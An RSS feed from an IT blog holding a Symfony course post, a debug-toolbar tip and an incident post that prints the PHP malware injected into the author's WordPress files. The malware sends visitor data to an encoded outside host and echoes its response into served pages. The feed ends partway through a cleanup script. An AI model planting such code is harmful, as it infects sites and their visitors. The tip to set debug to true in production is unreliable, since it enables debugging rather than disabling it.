<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lecciones Prácticas</title>
	<atom:link href="http://www.leccionespracticas.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.leccionespracticas.com</link>
	<description>informática y bibliotecas 2.0</description>
	<lastBuildDate>Fri, 18 May 2012 06:30:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Curso de Symfony completo con ejercicios resueltos gratis</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/curso-de-symfony-completo-con-ejercicios-resueltos-gratis/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/curso-de-symfony-completo-con-ejercicios-resueltos-gratis/#comments</comments>
		<pubDate>Thu, 17 May 2012 17:49:06 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Symfony]]></category>
		<category><![CDATA[curso]]></category>
		<category><![CDATA[ejemplos]]></category>
		<category><![CDATA[ejercicios]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[gratis]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[resueltos]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2097</guid>
		<description><![CDATA[Durante estos días he estado impartiendo un curso de Symfony en el trabajo. He confeccionado el material basándome en la documentación de Symfony que he encontrado en su página oficial, asi como en tutoriales de otras páginas. Trata las bases de Symfony, asumiendo que sabes programar en PHP. El curso está estructurado asi: Día 1: [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/' rel='bookmark' title='Symfony: create and update an Entity using doctrine [FULL EXAMPLE]'>Symfony: create and update an Entity using doctrine [FULL EXAMPLE]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Durante estos días he estado impartiendo un curso de <a href="http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/">Symfony</a> en el trabajo. He confeccionado el material basándome en la documentación de Symfony que he encontrado en su página oficial, asi como en tutoriales de otras páginas. Trata las bases de Symfony, asumiendo que sabes programar en PHP.</p>
<p>El curso está estructurado asi:</p>
<ul>
<li><strong>Día 1: Introducción</strong>
<ul>
<li> Introducción a modelo-vista-controlador (MVC) y al framework Symfony</li>
<li> Instalación de Symfony en WAMP</li>
<li> Introducción al framework</li>
<li> Routing: bases (placeholders, defaults, requirements, debug, generación de URLs) </li>
</ul>
</li>
<li><strong>Día 2: Rutas y Controlador</strong>
<ul>
<li>Controlador: teoría (mensajes flash, manejo de errores, redirección, clase BaseController, sesiones, cookies) y ejercicios</li>
<li>Routing: ejercicios</li>
</ul>
</li>
<li><strong>Día 3: Vista</strong>
<ul>
<li>PHP+HTML vs TWIG</li>
<li>Herencia de plantillas</li>
<li>Filters y tags</li>
<li>Assets (CSS, JS, IMGs) sin Assetic y con Assetic</li>
<li>Internal linking</li>
<li>Debugging</li>
<li>Ejercicios</li>
</ul>
</li>
<li><strong>Día 4: Forms</strong>
<ul>
<li>Entity (objeto del formulario)</li>
<li>Tipos de campos</li>
<li>Renderizado simple y avanzado</li>
<li>Recogida de resultados</li>
<li>Validación (seguridad)</li>
<li>Reutilización: creación de clase asociada al formulario</li>
<li>Form embedding</li>
<li>Ejercicios de formularios</li>
</ul>
</li>
<li><strong>Día 5: Doctrine + Seguridad </strong>
<ul>
<li>Qué es Doctrine</li>
<li>Configuración de Doctrine en Symfony (una o varias BD)</li>
<li>Creación de la BD</li>
<li>Entity: mappeado de BD-Entidad</li>
<li>Generación automática de getters y setters</li>
<li>Generación de tablas</li>
<li>Inserción, modificación, recuperación y borrado de datos en la BD (introducción a DQL)</li>
<li>Ejercicios de Doctrine</li>
<li>Seguridad: basic HTTP authentication</li>
<li>Seguridad: autenticación y autorización (por formulario, IP, SSL, ACLs)</li>
<li>Seguridad:
  </ul>
</li>
<p>A lo largo de los temas planteo varios ejercicios. Para que podáis probar, en el RAR del curso incluyo además mi carpeta de Symfony, que contiene las soluciones a todos los ejercicios, para colocarla en el WWWROOT de tu servidor web.</p>
<p>Podéis <a href="http://www.leccionespracticas.com/symfony/CursoSymfonyUnizar.rar"><strong>DESCARGA el CURSO de SYMFONY completamente gratis (RAR)</strong> pulsando aqui</a></p>
<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/' rel='bookmark' title='Symfony: create and update an Entity using doctrine [FULL EXAMPLE]'>Symfony: create and update an Entity using doctrine [FULL EXAMPLE]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/curso-de-symfony-completo-con-ejercicios-resueltos-gratis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/#comments</comments>
		<pubDate>Wed, 02 May 2012 15:57:28 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Symfony]]></category>
		<category><![CDATA[app.php]]></category>
		<category><![CDATA[AppKernel]]></category>
		<category><![CDATA[app_dev.php]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[environments]]></category>
		<category><![CDATA[Kernel]]></category>
		<category><![CDATA[production]]></category>
		<category><![CDATA[profiler]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[symfony2]]></category>
		<category><![CDATA[toolbar]]></category>
		<category><![CDATA[web debug]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2080</guid>
		<description><![CDATA[According to Symfony documentation, the debug toolbar is disabled in production environment (this is, /Symfony/web/app.php/WHATEVS). Well, mine (Symfony 2.0.13 running on top of a WAMP2.2 server) was not. It was active no matter the url I was using (app.php or app_dev.php). Irritating. To disable it, edit web/app.php and change from: $kernel = new AppKernel&#40;'prod', false&#41;; [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>According to <a href="http://symfony.com/doc/current/quick_tour/the_big_picture.html#working-with-environments">Symfony documentation</a>, the debug toolbar is disabled in production <a href="http://symfony.com/doc/current/cookbook/configuration/environments.html">environment</a> (this is, <code>/Symfony/web/app.php/WHATEVS</code>). </p>
<p>Well, mine (Symfony 2.0.13 running on top of a WAMP2.2 server) was not. It was active no matter the url I was using (<code>app.php</code> or <code>app_dev.php</code>). Irritating.</p>
<p>To disable it, edit <code>web/app.php</code> and change from:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$kernel</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AppKernel<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'prod'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>To</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$kernel</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AppKernel<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'prod'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Why is that?</p>
<p>AppKernel class extends <a href="http://api.symfony.com/2.0/Symfony/Component/HttpKernel/Kernel.html">Kernel class</a>, and take a look at its constructor, more precisely to the second parameter:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> __construct<span style="color: #009900;">&#40;</span>string <span style="color: #000088;">$environment</span><span style="color: #339933;">,</span> Boolean <span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span>
&nbsp;
Constructor<span style="color: #339933;">.</span>
&nbsp;
Parameters
string 	<span style="color: #000088;">$environment</span> 	The environment
Boolean 	<span style="color: #000088;">$debug</span> 	Whether to enable debugging or not</pre></div></div>

<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacked site: apologies</title>
		<link>http://www.leccionespracticas.com/informatica-web/hacked-site-apologies/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/hacked-site-apologies/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 11:36:23 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - web]]></category>
		<category><![CDATA[$sRetry]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[infected]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2073</guid>
		<description><![CDATA[Some hours ago I noticed my site had been hacked. Every index.php, header.php, footer.php and some other files were infected with this piece of shit code: &#60;?php if &#40;!isset&#40;$sRetry&#41;&#41; &#123; global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower&#40;$_SERVER&#91;'HTTP_USER_AGENT'&#93;&#41;; // Looks for google serch bot $stCurlHandle = NULL; [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/protect-site-with-password-using-htaccess/' rel='bookmark' title='Protect site with password using .htaccess'>Protect site with password using .htaccess</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/acceso-apache-con-ldap-y-con-fichero-de-contrasenas/' rel='bookmark' title='Protect your site with password to ldap users and not-ldap (privileged) users'>Protect your site with password to ldap users and not-ldap (privileged) users</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-sistemas-y-servidores/configure-php-imap-redhat-solved/' rel='bookmark' title='Configure php-imap redhat [solved]'>Configure php-imap redhat [solved]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Some hours ago I noticed my site had been hacked. Every index.php, header.php, footer.php and some other files were infected with this piece of <del datetime="2012-04-30T11:28:13+00:00">shit</del> code:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;</span>?php
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">!</span>isset<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sRetry</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>
global <span style="color: #007800;">$sRetry</span>;
<span style="color: #007800;">$sRetry</span> = <span style="color: #000000;">1</span>;
    <span style="color: #000000; font-weight: bold;">//</span> This code use <span style="color: #000000; font-weight: bold;">for</span> global bot statistic
    <span style="color: #007800;">$sUserAgent</span> = strtolower<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_SERVER</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'HTTP_USER_AGENT'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">//</span>  Looks <span style="color: #000000; font-weight: bold;">for</span> google serch bot
    <span style="color: #007800;">$stCurlHandle</span> = NULL;
    <span style="color: #007800;">$stCurlLink</span> = <span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #000000; font-weight: bold;">if</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'google'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'yahoo'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'baidu'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'msn'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'opera'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'chrome'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'bing'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'safari'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&amp;&amp;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>strstr<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span>, <span style="color: #ff0000;">'bot'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">//</span> Bot comes
    <span style="color: #7a0874; font-weight: bold;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">if</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>isset<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_SERVER</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'REMOTE_ADDR'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">true</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> isset<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_SERVER</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'HTTP_HOST'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> == <span style="color: #c20cb9; font-weight: bold;">true</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #000000; font-weight: bold;">//</span> Create  bot analitics            
        <span style="color: #007800;">$stCurlLink</span> = base64_decode<span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #ff0000;">'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA=='</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.<span style="color: #ff0000;">'?ip='</span>.urlencode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_SERVER</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'REMOTE_ADDR'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.<span style="color: #ff0000;">'&amp;useragent='</span>.urlencode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sUserAgent</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.<span style="color: #ff0000;">'&amp;domainname='</span>.urlencode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_SERVER</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'HTTP_HOST'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.<span style="color: #ff0000;">'&amp;fullpath='</span>.urlencode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_SERVER</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'REQUEST_URI'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.<span style="color: #ff0000;">'&amp;check='</span>.isset<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$_GET</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #ff0000;">'look'</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
            <span style="color: #000000; font-weight: bold;">@</span><span style="color: #007800;">$stCurlHandle</span> = curl_init<span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #007800;">$stCurlLink</span> <span style="color: #7a0874; font-weight: bold;">&#41;</span>; 
    <span style="color: #7a0874; font-weight: bold;">&#125;</span>
    <span style="color: #7a0874; font-weight: bold;">&#125;</span> 
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #007800;">$stCurlHandle</span> <span style="color: #000000; font-weight: bold;">!</span>== NULL <span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>
    curl_setopt<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$stCurlHandle</span>, CURLOPT_RETURNTRANSFER, <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
    curl_setopt<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$stCurlHandle</span>, CURLOPT_TIMEOUT, <span style="color: #000000;">12</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
    <span style="color: #007800;">$sResult</span> = <span style="color: #000000; font-weight: bold;">@</span>curl_exec<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$stCurlHandle</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; 
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$sResult</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>==<span style="color: #ff0000;">&quot;O&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 
     <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #007800;">$sResult</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>=<span style="color: #ff0000;">&quot; &quot;</span>;
      <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$sResult</span>; <span style="color: #000000; font-weight: bold;">//</span> Statistic code end
      <span style="color: #7a0874; font-weight: bold;">&#125;</span>
    curl_close<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$stCurlHandle</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; 
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
?<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div>

<p>This connects to a site you don&#8217;t want to connect to, and downloads some serious ugly viruses.</p>
<p>I noticed this was affecting several sites under the same FTP account, and I am still guessing how did they gained access to modify my files.</p>
<p>In the meantime, these are the steps you should follow to fix the mess:<br />
- Stay calm<br />
- Backup everything (both files and databases)<br />
- Download and install CCleaner, Lavasoft AdAware, MalwareBytes AntiMalware, NOD32, Avast&#8230;<br />
- Reboot in SAFE MODE<br />
- Clean your computer from viruses: run the previous software&#8230;<br />
- Restart your computer<br />
- Run this script (put it in your root folder and run it). BIG DISCLAIMER: THIS MODIFIES YOUR FILES AND I AM NOT RESPONSIBLE IF YOUR SITE STOPS WORKING!!</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #000000; font-weight: bold;">function</span> list_files<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$exit</span><span style="color: #339933;">=</span><span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$dir_handle</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">!==</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$dir</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #339933;">;</span>
	    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span><span style="color: #0000ff;">'..'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			list_files<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span><span style="color: #0000ff;">'..'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;.php&quot;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;fix-hacker-shit.php&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
